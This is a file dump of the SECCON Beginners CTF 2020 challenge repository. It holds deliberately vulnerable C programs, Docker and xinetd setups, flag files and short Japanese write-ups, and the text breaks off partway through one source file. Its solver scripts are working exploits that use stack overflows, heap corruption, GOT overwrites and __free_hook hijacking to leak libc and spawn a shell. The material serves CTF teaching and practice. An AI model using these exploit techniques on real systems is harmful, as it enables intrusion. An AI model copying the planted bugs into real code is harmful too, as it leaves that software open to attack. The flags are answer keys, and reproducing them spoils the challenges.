36 | puts("This instruction fails when RSP is not a multiple of 0x10."); 37 | puts("Find a way to align RSP! You're almost there!"); 38 | sleep(1); 39 | } else { 40 | puts("Congratulations!"); 41 | system("/bin/sh"); 42 | } 43 | exit(0); 44 | } 45 | 46 | void __show_stack(void *ptr) { 47 | int i; 48 | unsigned long *p = ptr; 49 | 50 | puts("\n [ Address ] [ Stack ]"); 51 | for(i = 0; i < 21; i++) { 52 | if (i & 1) { 53 | printf("0x%016lx | 0x%016lx |", (unsigned long)&p[i/2], p[i/2]); 54 | if (&p[i/2] == ptr) 55 | printf(" <-- buf"); 56 | else if (&p[i/2] == ptr + BUFFER_SIZE + 0x00) 57 | printf(" <-- saved rbp (vuln)"); 58 | else if (&p[i/2] == ptr + BUFFER_SIZE + 0x08) 59 | printf(" <-- return address (vuln)"); 60 | else if (&p[i/2] == ptr + BUFFER_SIZE + 0x10) 61 | printf(" <-- saved rbp (main)"); 62 | else if (&p[i/2] == ptr + BUFFER_SIZE + 0x18) 63 | printf(" <-- return address (main)"); 64 | putchar('\n'); 65 | } else { 66 | puts(" +--------------------+"); 67 | } 68 | } 69 | putchar('\n'); 70 | } 71 | -------------------------------------------------------------------------------- /pwn/beginners_stack/build/pwn.xinetd: -------------------------------------------------------------------------------- 1 | service pwn 2 | { 3 | disable = no 4 | socket_type = stream 5 | protocol = tcp 6 | wait = no 7 | user = pwn 8 | type = UNLISTED 9 | bind = 0.0.0.0 10 | port = 9001 11 | server = /home/pwn/redir.sh 12 | rlimit_as = 1024M 13 | } -------------------------------------------------------------------------------- /pwn/beginners_stack/build/redir.sh: -------------------------------------------------------------------------------- 1 | #! /bin/bash 2 | cd /home/pwn && ./chall 3 | -------------------------------------------------------------------------------- /pwn/beginners_stack/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | bstack: 4 | build: 5 | context: . 6 | working_dir: /home/pwn 7 | container_name: bstack 8 | ulimits: 9 | nproc: 65535 10 | core: 0 11 | ports: 12 | - "9001:9001" 13 | entrypoint: /etc/init.sh 14 | -------------------------------------------------------------------------------- /pwn/beginners_stack/files/chall: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SECCON/Beginners_CTF_2020/c643700479f5aefe0bf864da53b9c428f9a17439/pwn/beginners_stack/files/chall -------------------------------------------------------------------------------- /pwn/beginners_stack/solver/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.7-alpine 2 | 3 | ADD solve4docker.py solve.py 4 | RUN python solve.py 5 | -------------------------------------------------------------------------------- /pwn/beginners_stack/solver/solve.py: -------------------------------------------------------------------------------- 1 | from ptrlib import * 2 | 3 | elf = ELF("../files/chall") 4 | #sock = Process("../files/chall") 5 | sock = Socket("localhost", 9001) 6 | rop_ret = 0x00400626 7 | 8 | payload = b'A' * 0x28 9 | payload += p64(rop_ret) 10 | payload += p64(elf.symbol('win')) 11 | sock.sendafter("Input: ", payload) 12 | sock.recv() 13 | 14 | sock.interactive() 15 | -------------------------------------------------------------------------------- /pwn/beginners_stack/solver/solve4docker.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import os 3 | import struct 4 | 5 | HOST = os.getenv('CTF4B_HOST', '0.0.0.0') 6 | PORT = os.getenv('CTF4B_PORT', '9001') 7 | 8 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 9 | s.connect((HOST, int(PORT))) 10 | 11 | payload = b'A' * 0x28 12 | payload += struct.pack(' 2.29 とした 17 | 18 | ## 脆弱性 19 | - use after free (参照/解放) 20 | - off-by-one null byte 21 | - uninitialized buffer (heap) 22 | 23 | -------------------------------------------------------------------------------- /pwn/childheap/build/childheap.c: -------------------------------------------------------------------------------- 1 | // gcc childheap.c -o childheap 2 | #include3 | #include 4 | #include 5 | #include 6 | 7 | #define BUF_SIZE 0x30 8 | 9 | static int menu(void); 10 | static int getnline(char *buf, unsigned size); 11 | static int getint(void); 12 | 13 | __attribute__((constructor)) 14 | int init(){ 15 | setbuf(stdout, NULL); 16 | setbuf(stderr, NULL); 17 | return 0; 18 | } 19 | 20 | int main(void){ 21 | int n; 22 | unsigned size; 23 | char *content = NULL; 24 | 25 | printf( "Welcome to childheap 2020\n\n" 26 | "Last year, I was a baby...\n" 27 | "Now I'm not a baby but a child!!!\n"); 28 | 29 | while(n = menu()){ 30 | char buf[4] = {}; 31 | switch(n){ 32 | case 1: 33 | if(content){ 34 | puts("No Space!!"); 35 | break; 36 | } 37 | 38 | printf("Input Size: "); 39 | if((size = getint()) > 0x180){ 40 | puts("Too Big!!"); 41 | break; 42 | } 43 | 44 | content = malloc(size); 45 | printf("Input Content: "); 46 | getnline(content, size); 47 | break; 48 | case 2: 49 | printf("Content: '%s'\nRemove? [y/n] ", content); 50 | getnline(buf, sizeof(buf)-1); 51 | if(buf[0] == 'y') 52 | free(content); 53 | break; 54 | case 3: 55 | content = NULL; 56 | break; 57 | } 58 | } 59 | return 0; 60 | } 61 | 62 | static int menu(void){ 63 | printf( "\nMENU\n" 64 | "1. Alloc\n" 65 | "2. Delete\n" 66 | "3. Wipe\n" 67 | "0. Exit\n" 68 | "> "); 69 | 70 | return getint(); 71 | } 72 | 73 | static int getnline(char *buf, unsigned size){ 74 | int len; 75 | char *lf; 76 | 77 | if(!size) 78 | return 0; 79 | 80 | len = read(0, buf, size); 81 | buf[len] = '\0'; 82 | 83 | if((lf=strchr(buf,'\n'))) 84 | *lf='\0'; 85 | 86 | return len; 87 | } 88 | 89 | static int getint(void){ 90 | char buf[BUF_SIZE] = {}; 91 | 92 | getnline(buf, sizeof(buf)-1); 93 | return atoi(buf); 94 | } 95 | -------------------------------------------------------------------------------- /pwn/childheap/files/childheap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SECCON/Beginners_CTF_2020/c643700479f5aefe0bf864da53b9c428f9a17439/pwn/childheap/files/childheap -------------------------------------------------------------------------------- /pwn/childheap/solver/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.8 2 | 3 | MAINTAINER ShiftCrops 4 | 5 | RUN pip3 install pwntools && \ 6 | mkdir /opt/sc_expwn 7 | 8 | ADD https://raw.githubusercontent.com/shift-crops/sc_expwn/master/sc_expwn.py /opt/sc_expwn/ 9 | ADD files /root 10 | ADD solver/exploit.py /root 11 | 12 | ENV PYTHONPATH "${PYTHONPATH}:/opt/sc_expwn" 13 | ENV TERM "linux" 14 | 15 | WORKDIR /root 16 | CMD ./exploit.py 17 | -------------------------------------------------------------------------------- /pwn/childheap/solver/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | from sc_expwn import * # https://raw.githubusercontent.com/shift-crops/sc_expwn/master/sc_expwn.py 3 | 4 | bin_file = './childheap' 5 | context(os = 'linux', arch = 'amd64') 6 | # context.log_level = 'debug' 7 | 8 | #========== 9 | 10 | default_target = {'host':'target', 'port':4296} 11 | 12 | env = Environment('debug', 'local', 'remote', 'monitor') 13 | env.set_item('mode', debug = 'DEBUG', local = 'PROC', remote = 'SOCKET', monitor = 'SOCKET') 14 | env.set_item('target', debug = {'argv':[bin_file], 'aslr':False, 'gdbscript':''}, \ 15 | local = {'argv':[bin_file]}, \ 16 | remote = default_target, \ 17 | monitor = {'host':os.environ['SECCON_HOST'] if 'SECCON_HOST' in os.environ else default_target['host'], \ 18 | 'port':int(os.environ['SECCON_PORT']) if 'SECCON_PORT' in os.environ else default_target['port']}) 19 | env.set_item('libc', debug = None, \ 20 | local = None, \ 21 | remote = 'libc-2.29.so', \ 22 | monitor = 'libc-2.29.so') 23 | env.select('monitor') 24 | 25 | #========== 26 | 27 | binf = ELF(bin_file) 28 | 29 | libc = ELF(env.libc) if env.libc else binf.libc 30 | offset_libc_malloc_hook = libc.symbols['__malloc_hook'] 31 | offset_libc_mainarena = offset_libc_malloc_hook + 0x10 32 | 33 | #========== 34 | 35 | def attack(conn, **kwargs): 36 | ch = ChildHeap(conn) 37 | 38 | for i in range(7): 39 | ch.alloc_delete(0xf8 + 0x10*i, str(i)) 40 | ch.alloc_delete(0x18, 'X') 41 | ch.alloc_delete(0x168, '7') 42 | 43 | for i in range(2): 44 | ch.wipe() 45 | ch.alloc(0xf8 + 0x10*i, str(i)*(0xf8 + 0x10*i)) 46 | ch.delete(False) 47 | 48 | addr_heap_base = u(ch.read()) - 0x260 49 | info('addr_heap_base = 0x{:08x}'.format(addr_heap_base)) 50 | ch.wipe() 51 | 52 | for i in range(2, 6): 53 | ch.alloc_delete(0xf8 + 0x10*i, str(i)*(0xf8 + 0x10*i)) 54 | 55 | fake_chunk = b'6'*0x138 56 | fake_chunk += p64(0x41) 57 | fake_chunk += p64(addr_heap_base + 0xa80) 58 | fake_chunk += p64(addr_heap_base + 0xa80) 59 | ch.alloc_delete(0x158, fake_chunk) 60 | ch.alloc_delete(0x18, b'Y'*0x10 + p64(0x40)) 61 | ch.alloc_delete(0x168, b'7'*0xf8 + p64(0x11)+p64(0)+p64(0x11)) 62 | 63 | ch.alloc(0xf8, '0') 64 | ch.wipe() 65 | 66 | fake_chunk = p64(addr_heap_base + 0xa80) 67 | fake_chunk += p64(addr_heap_base + 0xa80) 68 | fake_chunk += p64(0) 69 | fake_chunk += p64(0x41) 70 | fake_chunk += p64(addr_heap_base + 0xad0) 71 | ch.alloc(0x38, fake_chunk) 72 | ch.wipe() 73 | ch.alloc_delete(0, '') 74 | ch.alloc(0, '') 75 | 76 | addr_libc_mainarena = u(ch.read()) - 0x60 77 | libc.address = addr_libc_mainarena - offset_libc_mainarena 78 | info('addr_libc_base = 0x{:08x}'.format(libc.address)) 79 | addr_libc_system = libc.sep_function['system'] 80 | addr_libc_str_sh = next(libc.search(b'/bin/sh')) 81 | addr_libc_free_hook = libc.symbols['__free_hook'] 82 | ch.delete() 83 | 84 | ch.alloc_delete(0x38, b'Z'*0x18 + p64(0x101) + p64(addr_libc_free_hook)) 85 | ch.alloc(0xf8, '0') 86 | ch.wipe() 87 | 88 | ch.alloc(0xf8, p64(addr_libc_system)) 89 | ch.wipe() 90 | 91 | ch.alloc(0x38, '/bin/sh') 92 | ch.delete(False) 93 | 94 | class ChildHeap: 95 | def __init__(self, conn): 96 | self.recvuntil = conn.recvuntil 97 | self.recv = conn.recv 98 | self.sendline = conn.sendline 99 | self.send = conn.send 100 | self.sendlineafter = conn.sendlineafter 101 | self.sendafter = conn.sendafter 102 | 103 | def alloc(self, size, content): 104 | self.sendlineafter('> ', '1') 105 | self.sendlineafter(': ', str(size)) 106 | if size > 0: 107 | self.sendafter(': ', content) 108 | 109 | def alloc_delete(self, size, content): 110 | self.alloc(size, content) 111 | self.delete() 112 | 113 | def delete(self, wipe = True): 114 | self.sendlineafter('> ', '2') 115 | self.sendlineafter('] ', 'y') 116 | if wipe: 117 | self.wipe() 118 | 119 | def wipe(self): 120 | self.sendlineafter('> ', '3') 121 | 122 | def read(self): 123 | self.sendlineafter('> ', '2') 124 | self.recvuntil(': \'') 125 | s = self.recvuntil('\'', drop=True) 126 | self.sendlineafter('] ', 'n') 127 | return s 128 | 129 | def getflag(conn, **kwargs): 130 | sleep(0.1) 131 | conn.sendline('exec 2>&1') 132 | sleep(0.1) 133 | conn.sendline('echo FLAG_HERE; cat flag.txt') 134 | conn.recvuntil('FLAG_HERE\n') 135 | print('FLAG : {}'.format(conn.recvuntil('\n', drop=True))) 136 | 137 | #========== 138 | 139 | def main(): 140 | comn = Communicate(env.mode, **env.target) 141 | comn.connect() 142 | comn.repeat(attack, True, range(5)) 143 | 144 | if env.check('monitor'): 145 | comn.run(getflag) 146 | else: 147 | comn.interactive() 148 | 149 | if __name__=='__main__': 150 | main() 151 | 152 | #========== 153 | -------------------------------------------------------------------------------- /pwn/childheap/writeup.md: -------------------------------------------------------------------------------- 1 | # ChildHeap 2020 - Writeup 2 | 3 | ## 方針 4 | 1. off-by-one null byte を利用して 0x100 byte のチャンクを複数作る 5 | 2. 上記チャンクを free しまくって tcache を埋め尽くす 6 | 3. PREV\_INUSE がリセットされることを利用して,consolidate backward させて一部チャンクをオーバーラップ 7 | 4. next を書き換えて main\_arena のアドレス取得 8 | 5. free\_hook を system に改竄して shell 奪取 9 | 10 | -------------------------------------------------------------------------------- /pwn/elementary_stack/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:18.04 2 | 3 | ENV DEBIAN_FRONTEND noninteractive 4 | 5 | RUN apt-get -y update --fix-missing && apt-get -y upgrade 6 | RUN apt-get -y install xinetd 7 | RUN groupadd -r pwn && useradd -r -g pwn pwn 8 | 9 | ADD build/pwn.xinetd /etc/xinetd.d/pwn 10 | ADD build/init.sh /etc/init.sh 11 | ADD build/redir.sh /home/pwn/redir.sh 12 | RUN chmod 550 /home/pwn/redir.sh 13 | RUN chmod 700 /etc/init.sh 14 | RUN chmod 1733 /tmp /var/tmp /dev/shm 15 | 16 | ADD FLAG /home/pwn/flag.txt 17 | ADD files/chall /home/pwn/chall 18 | RUN chmod 440 /home/pwn/flag.txt 19 | RUN chmod 550 /home/pwn/chall 20 | 21 | RUN chown -R root:pwn /home/pwn 22 | 23 | RUN ls /home/pwn -lh 24 | 25 | RUN service xinetd restart 26 | -------------------------------------------------------------------------------- /pwn/elementary_stack/FLAG: -------------------------------------------------------------------------------- 1 | ctf4b{4bus1ng_st4ck_d03snt_n3c3ss4r1ly_m34n_0v3rwr1t1ng_r3turn_4ddr3ss} -------------------------------------------------------------------------------- /pwn/elementary_stack/README.md: -------------------------------------------------------------------------------- 1 | # Elementary Stack 2 | 3 | ## 問題文 4 | `nc xxxx.seccon.jp nnnn` 5 | 6 | ## 難易度 7 | 易 8 | 9 | ## 概要 10 | スタック上の配列に書き込む際、範囲外参照を確認していない。 11 | 12 | ## 脆弱性 13 | - out of bounds 14 | -------------------------------------------------------------------------------- /pwn/elementary_stack/build/Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | gcc -Wl,-z,lazy,-z,relro main.c -o chall -fstack-protector -no-pie 3 | cp ./main.c ../files 4 | mv ./chall ../files 5 | -------------------------------------------------------------------------------- /pwn/elementary_stack/build/init.sh: -------------------------------------------------------------------------------- 1 | #! /bin/bash 2 | service xinetd restart && /bin/sleep infinity 3 | -------------------------------------------------------------------------------- /pwn/elementary_stack/build/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #define X_NUMBER 8 5 | 6 | __attribute__((constructor)) 7 | void setup(void) { 8 | setbuf(stdout, NULL); 9 | alarm(30); 10 | } 11 | 12 | __attribute__((noreturn)) 13 | void fatal(const char *msg) { 14 | printf("[FATAL] %s\n", msg); 15 | exit(0); 16 | } 17 | 18 | long readlong(const char *msg, char *buf, int size) { 19 | printf("%s", msg); 20 | 21 | if (read(0, buf, size) <= 0) 22 | fatal("I/O error"); 23 | buf[size - 1] = 0; 24 | 25 | return atol(buf); 26 | } 27 | 28 | int main(void) { 29 | int i; 30 | long v; 31 | char *buffer; 32 | unsigned long x[X_NUMBER]; 33 | 34 | if ((buffer = malloc(0x20)) == NULL) 35 | fatal("Memory error"); 36 | 37 | while(1) { 38 | i = (int)readlong("index: ", buffer, 0x20); 39 | v = readlong("value: ", buffer, 0x20); 40 | 41 | printf("x[%d] = %ld\n", i, v); 42 | x[i] = v; 43 | } 44 | return 0; 45 | } 46 | -------------------------------------------------------------------------------- /pwn/elementary_stack/build/pwn.xinetd: -------------------------------------------------------------------------------- 1 | service pwn 2 | { 3 | disable = no 4 | socket_type = stream 5 | protocol = tcp 6 | wait = no 7 | user = pwn 8 | type = UNLISTED 9 | bind = 0.0.0.0 10 | port = 9003 11 | server = /home/pwn/redir.sh 12 | per_source = 3 13 | rlimit_cpu = 60 14 | rlimit_as = 1024M 15 | } -------------------------------------------------------------------------------- /pwn/elementary_stack/build/redir.sh: -------------------------------------------------------------------------------- 1 | #! /bin/bash 2 | cd /home/pwn && ./chall 3 | -------------------------------------------------------------------------------- /pwn/elementary_stack/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | estack: 4 | build: 5 | context: . 6 | working_dir: /home/pwn 7 | container_name: estack 8 | ulimits: 9 | nproc: 65535 10 | core: 0 11 | ports: 12 | - "9003:9003" 13 | entrypoint: /etc/init.sh 14 | -------------------------------------------------------------------------------- /pwn/elementary_stack/files/chall: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SECCON/Beginners_CTF_2020/c643700479f5aefe0bf864da53b9c428f9a17439/pwn/elementary_stack/files/chall -------------------------------------------------------------------------------- /pwn/elementary_stack/files/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #define X_NUMBER 8 5 | 6 | __attribute__((constructor)) 7 | void setup(void) { 8 | setbuf(stdout, NULL); 9 | alarm(30); 10 | } 11 | 12 | __attribute__((noreturn)) 13 | void fatal(const char *msg) { 14 | printf("[FATAL] %s\n", msg); 15 | exit(0); 16 | } 17 | 18 | long readlong(const char *msg, char *buf, int size) { 19 | printf("%s", msg); 20 | 21 | if (read(0, buf, size) <= 0) 22 | fatal("I/O error"); 23 | buf[size - 1] = 0; 24 | 25 | return atol(buf); 26 | } 27 | 28 | int main(void) { 29 | int i; 30 | long v; 31 | char *buffer; 32 | unsigned long x[X_NUMBER]; 33 | 34 | if ((buffer = malloc(0x20)) == NULL) 35 | fatal("Memory error"); 36 | 37 | while(1) { 38 | i = (int)readlong("index: ", buffer, 0x20); 39 | v = readlong("value: ", buffer, 0x20); 40 | 41 | printf("x[%d] = %ld\n", i, v); 42 | x[i] = v; 43 | } 44 | return 0; 45 | } 46 | -------------------------------------------------------------------------------- /pwn/elementary_stack/solver/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.7-alpine 2 | 3 | ADD solve4docker.py solve.py 4 | RUN python solve.py 5 | -------------------------------------------------------------------------------- /pwn/elementary_stack/solver/solve.py: -------------------------------------------------------------------------------- 1 | from ptrlib import * 2 | 3 | libc = ELF("../files/libc-2.27.so") 4 | elf = ELF("../files/chall") 5 | sock = Process("../files/chall") 6 | delta = 0xe7 7 | 8 | # overwrite buf-->atol 9 | sock.sendlineafter(": ", "-2") 10 | sock.sendlineafter(": ", str(elf.got("malloc"))) 11 | 12 | # overwrite atol@got-->printf@plt 13 | sock.sendlineafter(": ", p64(0xdeadbeef) + p64(elf.plt("printf"))) 14 | sock.sendlineafter(": ", "%25$p") 15 | libc_base = int(sock.recvline(), 16) - libc.symbol("__libc_start_main") - delta 16 | logger.info("libc = " + hex(libc_base)) 17 | 18 | # overwrite atol@got-->system 19 | sock.sendlineafter(": ", p64(0xdeadbeef) + p64(libc_base + libc.symbol("system"))) 20 | sock.sendafter(": ", "/bin/sh\0") 21 | 22 | sock.interactive() 23 | -------------------------------------------------------------------------------- /pwn/elementary_stack/solver/solve4docker.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import os 3 | import struct 4 | 5 | def recvuntil(token): 6 | o = b'' 7 | while True: 8 | o += s.recv(1) 9 | if token in o: 10 | break 11 | return o 12 | 13 | HOST = os.getenv('CTF4B_HOST', '0.0.0.0') 14 | PORT = os.getenv('CTF4B_PORT', '9003') 15 | 16 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 17 | s.connect((HOST, int(PORT))) 18 | 19 | recvuntil(b': ') 20 | s.send(b'-2\n') 21 | recvuntil(b': ') 22 | s.send(b'6295608\n') 23 | 24 | recvuntil(b': ') 25 | s.send(struct.pack(' 3 | #include4 | #include 5 | #define BUF_SIZE 32 6 | 7 | static int getnline(char *buf, int len); 8 | static long getlong(void); 9 | 10 | __attribute__((constructor)) 11 | int init(){ 12 | setbuf(stdout, NULL); 13 | setbuf(stderr, NULL); 14 | 15 | return 0; 16 | } 17 | 18 | int main(int argc, char *argv[]){ 19 | char* target; 20 | int idx; 21 | 22 | printf("Input address >> "); 23 | target = (void*)getlong(); 24 | 25 | puts("You can flip two times!"); 26 | for(int i=0; i<2; i++){ 27 | printf("Which bit (0 ~ 7) >> "); 28 | idx = getlong(); 29 | 30 | if(idx > 7){ 31 | puts("invalid bit..."); 32 | return 0; 33 | } 34 | 35 | *target ^= 1 << idx; 36 | } 37 | puts("Done!"); 38 | 39 | exit(0); 40 | } 41 | 42 | static int getnline(char *buf, int size){ 43 | char *lf; 44 | long n; 45 | 46 | if(!buf || size < 1) 47 | return 0; 48 | 49 | fgets(buf, size, stdin); 50 | if((lf=strchr(buf, '\n'))) 51 | *lf='\0'; 52 | 53 | return 1; 54 | } 55 | 56 | static long getlong(void){ 57 | char buf[BUF_SIZE] = {}; 58 | 59 | getnline(buf, sizeof(buf)); 60 | return atol(buf); 61 | } 62 | -------------------------------------------------------------------------------- /pwn/flip/files/flip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SECCON/Beginners_CTF_2020/c643700479f5aefe0bf864da53b9c428f9a17439/pwn/flip/files/flip -------------------------------------------------------------------------------- /pwn/flip/solver/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.8 2 | 3 | MAINTAINER ShiftCrops 4 | 5 | RUN pip3 install pwntools && \ 6 | mkdir /opt/sc_expwn 7 | 8 | ADD https://raw.githubusercontent.com/shift-crops/sc_expwn/master/sc_expwn.py /opt/sc_expwn/ 9 | ADD files /root 10 | ADD solver/exploit.py /root 11 | 12 | ENV PYTHONPATH "${PYTHONPATH}:/opt/sc_expwn" 13 | ENV TERM "linux" 14 | 15 | WORKDIR /root 16 | CMD ./exploit.py 17 | -------------------------------------------------------------------------------- /pwn/flip/solver/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | from sc_expwn import * # https://raw.githubusercontent.com/shift-crops/sc_expwn/master/sc_expwn.py 3 | 4 | bin_file = './flip' 5 | context(os = 'linux', arch = 'amd64') 6 | # context.log_level = 'debug' 7 | 8 | #========== 9 | 10 | default_target = {'host':'target', 'port':4296} 11 | 12 | env = Environment('debug', 'local', 'remote', 'monitor') 13 | env.set_item('mode', debug = 'DEBUG', local = 'PROC', remote = 'SOCKET', monitor = 'SOCKET') 14 | env.set_item('target', debug = {'argv':[bin_file], 'aslr':False, 'gdbscript':''}, \ 15 | local = {'argv':[bin_file]}, \ 16 | remote = default_target, \ 17 | monitor = {'host':os.environ['SECCON_HOST'] if 'SECCON_HOST' in os.environ else default_target['host'], \ 18 | 'port':int(os.environ['SECCON_PORT']) if 'SECCON_PORT' in os.environ else default_target['port']}) 19 | env.set_item('libc', debug = None, \ 20 | local = None, \ 21 | remote = 'libc-2.27.so', \ 22 | monitor = 'libc-2.27.so') 23 | env.select('monitor') 24 | 25 | #========== 26 | 27 | binf = ELF(bin_file) 28 | addr_got_exit = binf.got['exit'] 29 | addr_got_stack_chk = binf.got['__stack_chk_fail'] 30 | addr_got_setbuf = binf.got['setbuf'] 31 | addr_plt_exit = binf.plt['exit'] 32 | addr_plt_stack_chk = binf.plt['__stack_chk_fail'] 33 | addr_start = binf.sep_function['_start'] 34 | addr_main = binf.sep_function['main'] 35 | addr_stderr = binf.symbols['stderr'] 36 | 37 | libc = ELF(env.libc) if env.libc else binf.libc 38 | offset_libc_setbuf = libc.sep_function['setbuf'] 39 | offset_libc_puts = libc.sep_function['puts'] 40 | offset_libc_stderr = libc.symbols['_IO_2_1_stderr_'] 41 | 42 | #========== 43 | 44 | def attack(conn, **kwargs): 45 | flip_byte(conn, addr_got_exit, ((addr_plt_exit+6) ^ (addr_start+6)) & 0xff) 46 | flip_byte(conn, addr_got_exit, 6) 47 | 48 | flip_qword(conn, addr_got_stack_chk, (addr_plt_stack_chk+6) ^ addr_main) 49 | 50 | flip_byte(conn, addr_got_exit, (addr_start ^ addr_plt_stack_chk) & 0xff) 51 | 52 | flip_byte(conn, addr_stderr, 8) 53 | flip_qword(conn, addr_got_setbuf, offset_libc_setbuf ^ offset_libc_puts) 54 | 55 | flip_byte(conn, addr_got_exit, (addr_start ^ addr_plt_stack_chk) & 0xff) 56 | 57 | conn.recvuntil('\n') 58 | conn.recvuntil('\n') 59 | addr_libc_stderr = u(conn.recvuntil('\n', drop=True)) - 0x83 60 | libc.address = addr_libc_stderr - offset_libc_stderr 61 | info('addr_libc_base = 0x{:08x}'.format(libc.address)) 62 | addr_libc_puts = libc.sep_function['puts'] 63 | addr_libc_system = libc.sep_function['system'] 64 | addr_libc_str_sh = next(libc.search(b'/bin/sh')) 65 | 66 | flip_byte(conn, addr_got_exit, (addr_start ^ addr_plt_stack_chk) & 0xff) 67 | 68 | flip_qword(conn, addr_got_setbuf, addr_libc_puts ^ addr_libc_system) 69 | flip_qword(conn, addr_stderr, (addr_libc_stderr+8) ^ addr_libc_str_sh) 70 | 71 | flip_byte(conn, addr_got_exit, (addr_start ^ addr_plt_stack_chk) & 0xff) 72 | 73 | def flip_byte(conn, addr, flips): 74 | assert(flips < 0x100) 75 | 76 | conn.sendlineafter('address >> ', str(addr)) 77 | 78 | n_flip = 0 79 | for i in range(8): 80 | if (flips >> i) & 1: 81 | conn.sendlineafter(') >> ', str(i)) 82 | n_flip += 1 83 | flips ^= 1 << i 84 | if n_flip > 1: 85 | break 86 | 87 | if flips: 88 | flip_byte(conn, addr, flips) 89 | elif n_flip < 2: 90 | conn.sendlineafter(') >> ', '-1') 91 | 92 | def flip_qword(conn, addr, flips): 93 | for i in range(8): 94 | if flips & 0xff: 95 | flip_byte(conn, addr + i, flips & 0xff) 96 | flips >>= 8 97 | 98 | def getflag(conn, **kwargs): 99 | sleep(0.1) 100 | conn.sendline('exec 2>&1') 101 | sleep(0.1) 102 | conn.sendline('echo FLAG_HERE; cat flag.txt') 103 | conn.recvuntil('FLAG_HERE\n') 104 | print('FLAG : {}'.format(conn.recvuntil('\n', drop=True))) 105 | 106 | #========== 107 | 108 | def main(): 109 | comn = Communicate(env.mode, **env.target) 110 | comn.connect() 111 | comn.bruteforce(attack) 112 | 113 | if env.check('monitor'): 114 | comn.run(getflag) 115 | else: 116 | comn.interactive() 117 | 118 | if __name__=='__main__': 119 | main() 120 | 121 | #========== 122 | -------------------------------------------------------------------------------- /pwn/flip/writeup.md: -------------------------------------------------------------------------------- 1 | # Flip - Writeup 2 | 3 | ## 方針 4 | 1. exit の GOT を \_start に向け,繰り返し反転が行えるようにする 5 | 2. setbuf の GOT を puts に書き換える & stderr をずらして libc リーク 6 | - \_\_stack\_chk\_fail の GOT と PLT を適宜利用 7 | 3. setbuf の GOT を system に書き換える & stderr を "/bin/sh" に向けてシェル奪取 8 | 9 | -------------------------------------------------------------------------------- /rev/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SECCON/Beginners_CTF_2020/c643700479f5aefe0bf864da53b9c428f9a17439/rev/.gitkeep -------------------------------------------------------------------------------- /rev/ghost/FLAG: -------------------------------------------------------------------------------- 1 | ctf4b{st4ck_m4ch1n3_1s_4_l0t_0f_fun!} 2 | -------------------------------------------------------------------------------- /rev/ghost/README.md: -------------------------------------------------------------------------------- 1 | # ghost 2 | Author: ptr-yudai 3 | 4 | ## 問題文 5 | A program written by a ghost :ghost: 6 | 7 | ## 難易度 8 | Medium 9 | 10 | ## 概要 11 | ghost scriptのreversing 12 | 13 | -------------------------------------------------------------------------------- /rev/ghost/build/Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | cat ../FLAG | gs -q -dNODISPLAY ../files/chall.gs > ../files/output.txt 3 | -------------------------------------------------------------------------------- /rev/ghost/files/chall.gs: -------------------------------------------------------------------------------- 1 | /flag 64 string def /output 8 string def (%stdin) (r) file flag readline not { (I/O Error\n) print quit } if 0 1 2 index length { 1 index 1 add 3 index 3 index get xor mul 1 463 { 1 index mul 64711 mod } repeat exch pop dup output cvs print ( ) print 128 mod 1 add exch 1 add exch } repeat (\n) print quit -------------------------------------------------------------------------------- /rev/ghost/files/output.txt: -------------------------------------------------------------------------------- 1 | 3417 61039 39615 14756 10315 49836 44840 20086 18149 31454 35718 44949 4715 22725 62312 18726 47196 54518 2667 44346 55284 5240 32181 61722 6447 38218 6033 32270 51128 6112 22332 60338 14994 44529 25059 61829 52094 2 | -------------------------------------------------------------------------------- /rev/ghost/solver/solve.py: -------------------------------------------------------------------------------- 1 | with open("../files/output.txt", "r") as f: 2 | ns = map(int, f.read().strip().split(' ')) 3 | 4 | mod = 163*397 5 | d = 18151 # modinv(463, 162*396) 6 | 7 | x = 1 8 | flag = "" 9 | for i, n in enumerate(ns): 10 | m = pow(n, d, mod) 11 | m //= x 12 | m ^= i + 1 13 | flag += chr(m) 14 | x = (n % 128) + 1 15 | 16 | print(flag) 17 | -------------------------------------------------------------------------------- /rev/ghost/writeup.md: -------------------------------------------------------------------------------- 1 | # ghost - Writeup 2 | Writeup Author: ptr-yudai 3 | 4 | ## 解法 5 | ghost scriptが渡される。 6 | スタックマシンなのでデコンパイルにはさほど労力がかからない。 7 | また、フラグチェックは1文字ずつなので、1文字ずつ当てるスクリプトを書いても良い。 8 | 9 | 手動デコンパイルすると、RSA暗号を弱い鍵で1文字ずつ適用していることが分かるので、 10 | 暗号文はRSAの復号コードを書けば解読可能。 11 | -------------------------------------------------------------------------------- /rev/mask/FLAG: -------------------------------------------------------------------------------- 1 | ctf4b{dont_reverse_face_mask} 2 | -------------------------------------------------------------------------------- /rev/mask/README.md: -------------------------------------------------------------------------------- 1 | # mask 2 | 3 | ## 問題文 4 | The price of mask goes down. So does the point (it’s easy)! 5 | 6 | ## 難易度 7 | Beginner 8 | 9 | ## 概要 10 | 実行ファイルにFLAGを与えて実行すると、FLAGの正誤を判定する。表示を手がかりに、内部の動作を解析して、正しいFLAGを導く。 11 | -------------------------------------------------------------------------------- /rev/mask/build/Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | gcc mask.c -o mask -------------------------------------------------------------------------------- /rev/mask/build/mask.c: -------------------------------------------------------------------------------- 1 | #include 2 | 